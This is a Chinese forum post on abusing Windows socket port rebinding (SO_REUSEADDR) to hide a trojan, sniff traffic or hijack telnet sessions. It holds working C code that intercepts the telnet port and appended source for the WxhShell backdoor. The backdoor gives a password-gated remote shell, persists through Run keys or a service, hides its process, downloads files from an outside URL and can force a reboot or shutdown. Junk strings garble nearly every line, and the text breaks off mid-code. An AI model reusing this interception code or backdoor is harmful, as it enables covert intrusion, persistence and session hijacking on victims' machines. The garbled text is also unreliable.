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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bu- RU(%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N<x5:f#+  
xlAaIo)T  
  saddr.sin_family = AF_INET; `F#KXk  
SW7%SX,xM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .kVga+la?  
?9:\1)]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?jbam! A  
tR3hbL$W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a$ }^z  
43Q&<r$[T  
  这意味着什么?意味着可以进行如下的攻击: <9"i_d%  
CJ_B.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y3#\mBiw  
4/b#$o<I?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  f$3  
SDkN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 myXV~6R 3  
e(Ve rd:c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F3q5!1  
LPC7Bdjz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #p]O n87>  
(_* a4xGF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s= :n<`Z2  
F&0rI8Nr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aozk,{9-  
(w*$~p  
  #include ?~!h N,h  
  #include x{m)I <.:  
  #include 4[?Q*f!  
  #include     Po5}Vh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j[9 B,C4  
  int main() wP%;9y2B  
  { ;$Y?j8g  
  WORD wVersionRequested; 04s N 4C  
  DWORD ret; ;.Kzc3yz}  
  WSADATA wsaData; v[x`I;  
  BOOL val; NoMC* ",b>  
  SOCKADDR_IN saddr; jV(IS D  
  SOCKADDR_IN scaddr; B~^\jRd "  
  int err; |l9AgwDg  
  SOCKET s; %UmE=V  
  SOCKET sc; UJb7v:^  
  int caddsize; *G9;d0  
  HANDLE mt; $hL0/T-m  
  DWORD tid;   m2;%|QE(  
  wVersionRequested = MAKEWORD( 2, 2 ); <^=k~7m  
  err = WSAStartup( wVersionRequested, &wsaData ); PSRGlxdO  
  if ( err != 0 ) { L@/+u+j0  
  printf("error!WSAStartup failed!\n"); KksbhN{AB  
  return -1; ]C!u~A\jq  
  } |k8;[+  
  saddr.sin_family = AF_INET; ?mV[TM{p  
   |A2.W8`o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vjHbg#0%  
pH4i6B*5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q+K`+& @\  
  saddr.sin_port = htons(23); M?,;TJ7Gd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;,viE~n  
  { !54%}x)3  
  printf("error!socket failed!\n"); sIy  LW  
  return -1; U}UIbJD*=  
  } ?f%@8%px  
  val = TRUE; (k[<>$hL*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eN/Jb;W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @-hy:th#  
  { r@_;L>  
  printf("error!setsockopt failed!\n"); 8'zwy d3  
  return -1; c6e?)(V>  
  } _%t w#cM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `q F:rQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lU\|F5O@#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qB8<(vBP+  
%hXa5}JL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a(m#GES  
  { j#-74{Y$ J  
  ret=GetLastError(); 7|{QAv  
  printf("error!bind failed!\n"); }\1V;T  
  return -1; 1r;Q5[@  
  } 46mu,v  
  listen(s,2);  "d A"N$  
  while(1) &oT]ycz%  
  { UOa{J|k>h  
  caddsize = sizeof(scaddr); Q} / :  
  //接受连接请求 cM55 vVd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); er97&5  
  if(sc!=INVALID_SOCKET) P| G:h&  
  { n |(Y?`(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7Q^t(  
  if(mt==NULL) n.XT-X^  
  { poM VB{U  
  printf("Thread Creat Failed!\n"); towQoqv  
  break; f5'+F-`N  
  } W{k}ogI;  
  } %cBJ haR{(  
  CloseHandle(mt); '06[@Cw  
  } ,\Cy'TSz  
  closesocket(s); C<{k[!N%zm  
  WSACleanup(); &ed.%:  
  return 0; ](^xA `  
  }   ]E,  
  DWORD WINAPI ClientThread(LPVOID lpParam) xNT[((  
  { : G<1   
  SOCKET ss = (SOCKET)lpParam; k+_pj k  
  SOCKET sc; uHy^ Bq  
  unsigned char buf[4096]; :g][99  
  SOCKADDR_IN saddr; 0Tq6\:  
  long num; {uq  
  DWORD val; T@X!vCjf6  
  DWORD ret; ."9v1kW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SV-pS>#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;hRo} +\l  
  saddr.sin_family = AF_INET; [IiwpC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b8>r UGA{  
  saddr.sin_port = htons(23); *ozeoX'5D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' R{ [Y)  
  { 4SmhtC  
  printf("error!socket failed!\n"); " MlY G6  
  return -1; 1XwbsKQ}  
  } uQrD}%GI  
  val = 100; P.LMu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nd-y`@z  
  { %|4Nmf$:Og  
  ret = GetLastError(); `NrxoU=  
  return -1; ]Rz]"JZ\S  
  } $dq R]'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]>&au8  
  { Rs7=v2>I  
  ret = GetLastError(); GBN^ *I  
  return -1; ~fEgrF d  
  } 2}t2k>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gaVWfG  
  { 7)z^*;x  
  printf("error!socket connect failed!\n"); %b0..Zz  
  closesocket(sc); 98G>I(Cw%  
  closesocket(ss); tZwZZ0]Z  
  return -1; CsXIq.9  
  } )V} t(>V  
  while(1) Q R;Xj3]v  
  { v 6Tz7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B_nim[72  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 | M4_@P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9>%ti&_-jt  
  num = recv(ss,buf,4096,0); JuS#p5E #  
  if(num>0) u1(`^^Ml  
  send(sc,buf,num,0); )y_MI r  
  else if(num==0) zJOL\J'  
  break; f8!*4Bw  
  num = recv(sc,buf,4096,0); le`fRq8f&  
  if(num>0) t*~V]wZ  
  send(ss,buf,num,0); 89@gYA"Su  
  else if(num==0) YqrieDFay!  
  break; Az{Z=:(0  
  } l>Z"y\l =  
  closesocket(ss); G)G5eXXX  
  closesocket(sc); UOi8>;k`  
  return 0 ; LDx1@a|83  
  } +.:- :  
&V:iy  
#zyEN+  
========================================================== )u`q41!  
L slI!.(  
下边附上一个代码,,WXhSHELL :[?hU}9  
?V3e;n  
========================================================== QJjqtOf>  
h%9#~gJ})  
#include "stdafx.h" ZG"_M@S.  
5L'X3g  
#include <stdio.h> s,)Z8H  
#include <string.h> 9s7sn*aB#5  
#include <windows.h> *shE-w ;C  
#include <winsock2.h> ssUWr=mD  
#include <winsvc.h> -J[*fv@  
#include <urlmon.h> )OS^tG[=  
4[v %]g`  
#pragma comment (lib, "Ws2_32.lib") >/9f>d?w^  
#pragma comment (lib, "urlmon.lib") !8(: G6Ne  
1 \:5ow&a  
#define MAX_USER   100 // 最大客户端连接数 V)mitRaV  
#define BUF_SOCK   200 // sock buffer Vf:/Kokq  
#define KEY_BUFF   255 // 输入 buffer |VQ17*4ff1  
xy5&}_Y  
#define REBOOT     0   // 重启 gi#bU  
#define SHUTDOWN   1   // 关机 +`>Tuz~  
~7IXJeon  
#define DEF_PORT   5000 // 监听端口 5ro^<P0f**  
| U )  
#define REG_LEN     16   // 注册表键长度 3A!`U6C(  
#define SVC_LEN     80   // NT服务名长度 g4EC[>5!r  
$F"'= +0  
// 从dll定义API ZxF RE#y~2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a<*q+a(*W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B>hf|.GI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 50q(8F-N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )!z<q}i5  
n** W  
// wxhshell配置信息 [T<nTB# w  
struct WSCFG { -fKo~\Pr  
  int ws_port;         // 监听端口 F9IrbLS9c  
  char ws_passstr[REG_LEN]; // 口令 h fZY5+Z<  
  int ws_autoins;       // 安装标记, 1=yes 0=no la+RK  
  char ws_regname[REG_LEN]; // 注册表键名 P|%uB'|H  
  char ws_svcname[REG_LEN]; // 服务名 <[Oe.0SGu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _FR_6*C)5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6}4?, r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?5-Y'(r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1fUg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -j9Wf=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yq]=+X>(  
|mvY=t %  
}; KcKdhqdN-  
EIQ`?8KSR  
// default Wxhshell configuration ^,O%E;g^#  
struct WSCFG wscfg={DEF_PORT, &8$Gy u  
    "xuhuanlingzhe", A{X:p3$eN  
    1, o{MF'B #  
    "Wxhshell", +L(|?|i8  
    "Wxhshell", $FXlH;_7  
            "WxhShell Service", .Nt;J,U  
    "Wrsky Windows CmdShell Service", HueGARS  
    "Please Input Your Password: ", )}w2'(!X8  
  1, PgHe;^?j  
  "http://www.wrsky.com/wxhshell.exe", In13crr4!  
  "Wxhshell.exe" o?5m^S14[1  
    }; *Cf5D6=Q  
{02$pO  
// 消息定义模块 +)$oy]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I(m*%>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *WMI<w~_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bji5X')~#  
char *msg_ws_ext="\n\rExit."; -4wr)zjfW  
char *msg_ws_end="\n\rQuit."; ,6VY S\a3  
char *msg_ws_boot="\n\rReboot..."; <OgwA$abl%  
char *msg_ws_poff="\n\rShutdown..."; dmA#v:$1  
char *msg_ws_down="\n\rSave to "; PzF>yG[  
JX!z,X?r4  
char *msg_ws_err="\n\rErr!"; &FrUj>i  
char *msg_ws_ok="\n\rOK!"; 1?I_fA}  
gI~B _0x  
char ExeFile[MAX_PATH]; R|D%1@i]  
int nUser = 0; YOOcHo.F  
HANDLE handles[MAX_USER]; (:er~Y}  
int OsIsNt; y[`>,?ns5  
 N$ oQK(  
SERVICE_STATUS       serviceStatus; _\&v A5-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mbm'cM&}  
0nr5(4h  
// 函数声明 nMM:Tr  
int Install(void); l(A)Gd5>  
int Uninstall(void); ;*(i}'  
int DownloadFile(char *sURL, SOCKET wsh); pYN.tD FO  
int Boot(int flag); -XASS%  
void HideProc(void); LUaOp "  
int GetOsVer(void); ~cv322N   
int Wxhshell(SOCKET wsl); L`3;9rO  
void TalkWithClient(void *cs); ^iA_<@[`X[  
int CmdShell(SOCKET sock); NJ^Bv`  
int StartFromService(void); m+|yk.md  
int StartWxhshell(LPSTR lpCmdLine); k%D|17I  
je;C}4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uc%kyTBm1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )WNw0cV}J>  
M "\Iw'5$  
// 数据结构和表定义 {"PIS&]tR  
SERVICE_TABLE_ENTRY DispatchTable[] = %fuV]  
{ 3QI.|;X  
{wscfg.ws_svcname, NTServiceMain}, 6L<Y   
{NULL, NULL} jWL%*dJrN  
}; ]Z IreI  
+7 \"^D  
// 自我安装 I3qTSX-  
int Install(void) x$hT+z6DUC  
{ 'vwu^u?  
  char svExeFile[MAX_PATH]; 9 1.gE*D  
  HKEY key; N T>[ 2<  
  strcpy(svExeFile,ExeFile); vc%=V^)N7U  
gp+aUK~o  
// 如果是win9x系统,修改注册表设为自启动 b^:frjaE3  
if(!OsIsNt) { ^]5^p9Jt"e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CSwPL>tUV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1,7  
  RegCloseKey(key); 3ncN) E/@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NR3h|'eC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3*zywcTH  
  RegCloseKey(key); 9ls*L!Jw  
  return 0; D wfw|h  
    } tdsfCvF= a  
  } ?zuKVi? I  
} H-,p.$3}  
else { y[{}124  
~2;\)/E\  
// 如果是NT以上系统,安装为系统服务 Na>w~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !aB~G}'  
if (schSCManager!=0) QXu[<V  
{ !$NQF/Ol  
  SC_HANDLE schService = CreateService WJJmM*>JW  
  ( 0Ke2%+yqJ  
  schSCManager, }Uu#N H  
  wscfg.ws_svcname, hnimd~E52k  
  wscfg.ws_svcdisp, p%R+c  
  SERVICE_ALL_ACCESS, +'/C(5y)0X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~ <36vsk  
  SERVICE_AUTO_START, z3c7  
  SERVICE_ERROR_NORMAL, \`0s %F:V}  
  svExeFile, p`2Q6  
  NULL, mclV" ?  
  NULL, ~8&P*oFC  
  NULL, GdYQq.  
  NULL, d@%PTSX  
  NULL <Nk:C1Op}  
  ); 3#? 53s   
  if (schService!=0) r=HL!XFk  
  { G<-<>)zO!  
  CloseServiceHandle(schService); l(9AwVoAR|  
  CloseServiceHandle(schSCManager); ]D&U} n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ft^X[5G4L  
  strcat(svExeFile,wscfg.ws_svcname); Jcy+(7lE)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jot7 L%,TB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4T]A! y{  
  RegCloseKey(key); klAvi%^jE  
  return 0; T>pyYF1Q  
    } U.WXh(`%  
  } /}/GK|tj  
  CloseServiceHandle(schSCManager); @\r2%M-  
} z=TO G P(  
} 9k~%HN-[  
w^9< I]  
return 1; E{P94Phv  
} G8zbb  
7p- RPC  
// 自我卸载 u#y#(1 =  
int Uninstall(void) ,D'm#Fti  
{ .D;6 r4S  
  HKEY key; 9}_'  
i;atYltEJ2  
if(!OsIsNt) { )HcLpoEi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FTr'I82m(  
  RegDeleteValue(key,wscfg.ws_regname); W^7yh&@lU  
  RegCloseKey(key); jgiS/oW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f@gvDo]Y  
  RegDeleteValue(key,wscfg.ws_regname); b0/YX@  
  RegCloseKey(key); @?jtB  
  return 0; ~0h@p4  
  } 2OpkRFFa  
} Be9,m!on  
} G`;\"9t5h  
else { m[z $y  
c39j|/!;Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B<ncOe  
if (schSCManager!=0) Y/5(BK)  
{ vN:!{)~z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $o0.oY#  
  if (schService!=0) IT7],pM  
  { FUf.3@}  
  if(DeleteService(schService)!=0) { i&8|@CACb  
  CloseServiceHandle(schService); FQ> kTm`d  
  CloseServiceHandle(schSCManager); w+r).PS}C  
  return 0; KnKf8c  
  } }'?qUy3x  
  CloseServiceHandle(schService); 8A5/jqnqt  
  } SdN&%(ZE  
  CloseServiceHandle(schSCManager); EDuH+/:n  
} @q`T#vd  
} 5dhy80|g]  
6i%6u=um3  
return 1; , @!X! L  
} VR .t  
XUKlgl!+.  
// 从指定url下载文件 9]{va"pe7  
int DownloadFile(char *sURL, SOCKET wsh) "h #/b}/  
{ A*vuSQt(  
  HRESULT hr; B`t/21J  
char seps[]= "/"; 9^9-\DG  
char *token; (@qPyM6~}  
char *file; Y mL{uV$  
char myURL[MAX_PATH]; LF @_|o I  
char myFILE[MAX_PATH]; PU[<sr#,  
^^zj4 }On?  
strcpy(myURL,sURL); * nFzfV  
  token=strtok(myURL,seps); 0w: 3/WO  
  while(token!=NULL) 97U OH  
  { xticC>  
    file=token; vcsSi%M\U  
  token=strtok(NULL,seps); (w{T[~6  
  } j!y9E~Zz  
:p,|6~b$  
GetCurrentDirectory(MAX_PATH,myFILE); IuT)?S7O*k  
strcat(myFILE, "\\"); ;c>"gW8  
strcat(myFILE, file); .k-6LR  
  send(wsh,myFILE,strlen(myFILE),0); 5eE\ X /  
send(wsh,"...",3,0); o2=):2x r{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8sU5MQ5  
  if(hr==S_OK) &F/-%l!  
return 0; Q"B8l[  
else "\O7_od-  
return 1; '`|j{mBhG  
Ov<c1y;f  
} 'l=>H#}<B  
$8i`h}AM  
// 系统电源模块 R<Mc+{*>  
int Boot(int flag) %8 D>aS U  
{ g1|Py t{  
  HANDLE hToken; t0jE\6r  
  TOKEN_PRIVILEGES tkp; XI ;] c5  
t$%<eF@w  
  if(OsIsNt) { }^0'IAXi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vBOY[>=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /8Y8-&K0  
    tkp.PrivilegeCount = 1; AT+ l%%   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B`<}YVA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3cgq'ob  
if(flag==REBOOT) { uS,?oS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  Igmg&  
  return 0; (oR~%2K  
} xZ)K#\  
else { Y.) QNTh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;y. ;U#O  
  return 0; \Cu=Le^  
} k(pJVez  
  } U3z23LgA  
  else { A$N%deb  
if(flag==REBOOT) { R6BbkYWrX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wh..QVv  
  return 0; b@&uwSv  
} ~] V62^0  
else { |'1.a jxw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jz>P[LcB  
  return 0; (*P`  
} C4$P#DZT^  
} xT_"` @  
|" WL   
return 1; S9P({iZK  
} oJ %Nt&q  
wW p7N  
// win9x进程隐藏模块 $x`HmL3Sb  
void HideProc(void) !L{mE&  
{ MKvmzLh$)  
g*My1+J!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bR) P-9rs  
  if ( hKernel != NULL ) #7Q9^rG  
  { i a!!jK}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vT0Op e6m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }=)u_q  
    FreeLibrary(hKernel); 'g,_lF  
  } gJX"4]Ol#}  
__xmn{{L6P  
return; o]4BST(A  
} lY"l6.c  
U`=r .>  
// 获取操作系统版本 j@(S7=^C6%  
int GetOsVer(void) .z_nW1id  
{ {Kr}RR*{X  
  OSVERSIONINFO winfo; ~`&4?c3p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BHAFO E  
  GetVersionEx(&winfo); |(*btdqy3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I+;e#v,%U  
  return 1; (E@;~7L  
  else Cip|eM&l  
  return 0; Bo8f52|  
} Z(tJd ,  
:*,!gf  
// 客户端句柄模块 ^|.T \  
int Wxhshell(SOCKET wsl) zO\_^A|8H  
{ eA2*}"W  
  SOCKET wsh; 0J'Cx&Rg  
  struct sockaddr_in client; Zf}2c8Vc4  
  DWORD myID; W|@SXO)DY  
72xf| s=  
  while(nUser<MAX_USER) g]HWaFjc5  
{ T88$sD.2 '  
  int nSize=sizeof(client); ]^.`}Y=`g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *~6]IWN`  
  if(wsh==INVALID_SOCKET) return 1; q`{@@[/ (y  
w9GY/]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 75^*4[  
if(handles[nUser]==0) Gdb0e]Vt+  
  closesocket(wsh); GY-4w@Wl  
else 8aVQW_m}  
  nUser++; #aC&!Rei{  
  } iUh7eR9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D9NRM;v  
 +qj Z;5(  
  return 0; vb0Ca+}}  
} nRqP_*]  
ufR>*)_+  
// 关闭 socket ag:<%\2c  
void CloseIt(SOCKET wsh) O}cfb4"  
{ n8!|}J  
closesocket(wsh); cwaR#-#  
nUser--; 2i!R>`  
ExitThread(0); A@lM =   
}  lY`WEu  
"gI-S[  
// 客户端请求句柄 @(a~ p  
void TalkWithClient(void *cs) [7DU0Xg7  
{ W3\+51P  
A ;`[va  
  SOCKET wsh=(SOCKET)cs; CpN*1s})d  
  char pwd[SVC_LEN]; XU}i<5  
  char cmd[KEY_BUFF]; \)\n5F:Zu  
char chr[1];  !vl1#@  
int i,j; bu pW*fD:  
sOWP0x  Y  
  while (nUser < MAX_USER) { wd|^m%  
K[noW  
if(wscfg.ws_passstr) { K6B6@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s!YX<V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *B&i`tq  
  //ZeroMemory(pwd,KEY_BUFF); N/{=j  
      i=0; MJe/ \  
  while(i<SVC_LEN) { ?cz7s28a  
rS\mFt X  
  // 设置超时 8sDw:wTC  
  fd_set FdRead; X%*BiI  
  struct timeval TimeOut; fvTp9T\f3  
  FD_ZERO(&FdRead); ]OKKR/:  
  FD_SET(wsh,&FdRead); J^` pE^S  
  TimeOut.tv_sec=8; )0 6. dZq\  
  TimeOut.tv_usec=0; C;ha2UV0H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O>rz+8T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &JLKHwi/  
NODE`VFu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8j&1qJx)  
  pwd=chr[0]; U .^%7.  
  if(chr[0]==0xd || chr[0]==0xa) { Q"pZPpl&  
  pwd=0; -y&>&D  
  break; uh)f/)6  
  } 96F+I!qC  
  i++; ^JIs:\ g<<  
    } QB* AQ5-  
dXt@x8E  
  // 如果是非法用户,关闭 socket yyVJb3n5:!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {2g?+8L$Z  
} S,+|A)\#  
!C' Y 7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gqar5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "$%&C%t  
6 ;\>,  
while(1) { =x^IBLHN  
\"K:<+RH  
  ZeroMemory(cmd,KEY_BUFF); W-RshZ\  
%I)*5M6  
      // 自动支持客户端 telnet标准   O'~^wu.  
  j=0; <3k9 y^0  
  while(j<KEY_BUFF) { \@6w;tyi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zBrqh9%8e  
  cmd[j]=chr[0]; i"!j:YEo  
  if(chr[0]==0xa || chr[0]==0xd) { LGRhCOP:  
  cmd[j]=0; G @L `[Wu  
  break; r`0oI66B/  
  } ![%:X)?  
  j++; 14-uy.0[  
    } @DR?^ qp  
It'PWqZtG  
  // 下载文件 :,^x?'HK  
  if(strstr(cmd,"http://")) { Rwmr[g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w01\KV  
  if(DownloadFile(cmd,wsh)) :(jovse\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NTM.Vj -_h  
  else hdH-VR4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d{'u97GDc  
  } gWjz3ob  
  else { |2X+( F Ed  
]'i}}/}u2  
    switch(cmd[0]) { /LCRi  
  HFj@NRE6  
  // 帮助 a=^>A1=  
  case '?': { h7\16j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pvqbk2BO  
    break; Q@l.p-:^U  
  } 2;ogkPv'  
  // 安装 W2,Uw1\:1  
  case 'i': { +^aM(4K\  
    if(Install()) @F5QgO J&r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?0+J"FH# W  
    else ?B4X&xf.D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g>f_'7F&  
    break; H]f8W]"c[  
    } M059"X="  
  // 卸载 Q S.w#"X[  
  case 'r': { \G]vTK3  
    if(Uninstall()) DVyxe}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a*@4W3;7  
    else z6Yx )qBE<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ];}7 %3  
    break; #J c)v0_  
    } pB]+c%\  
  // 显示 wxhshell 所在路径 Je~Ybh  
  case 'p': { '%A*Z,f  
    char svExeFile[MAX_PATH]; V)r6bb{^  
    strcpy(svExeFile,"\n\r"); %?:eURQ  
      strcat(svExeFile,ExeFile); =g^JJpS  
        send(wsh,svExeFile,strlen(svExeFile),0); {B6tGLt#bf  
    break; `OyYo^+D|.  
    } :,dO7dJi  
  // 重启 ApAHa]Ccp  
  case 'b': { (=i+{ 3`|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DKf:0E8  
    if(Boot(REBOOT)) O>L 5 dP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >_?Waz %  
    else { (V+iJ_1g{  
    closesocket(wsh); +D+Rf,D  
    ExitThread(0); w=75?3c7F  
    } 2SVJKX_V+  
    break; Z0%Qy+%  
    } 7(= 09z  
  // 关机 K~>ESMZ5  
  case 'd': { XFN4m #  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); < G:G/  
    if(Boot(SHUTDOWN)) ob.=QQQs  
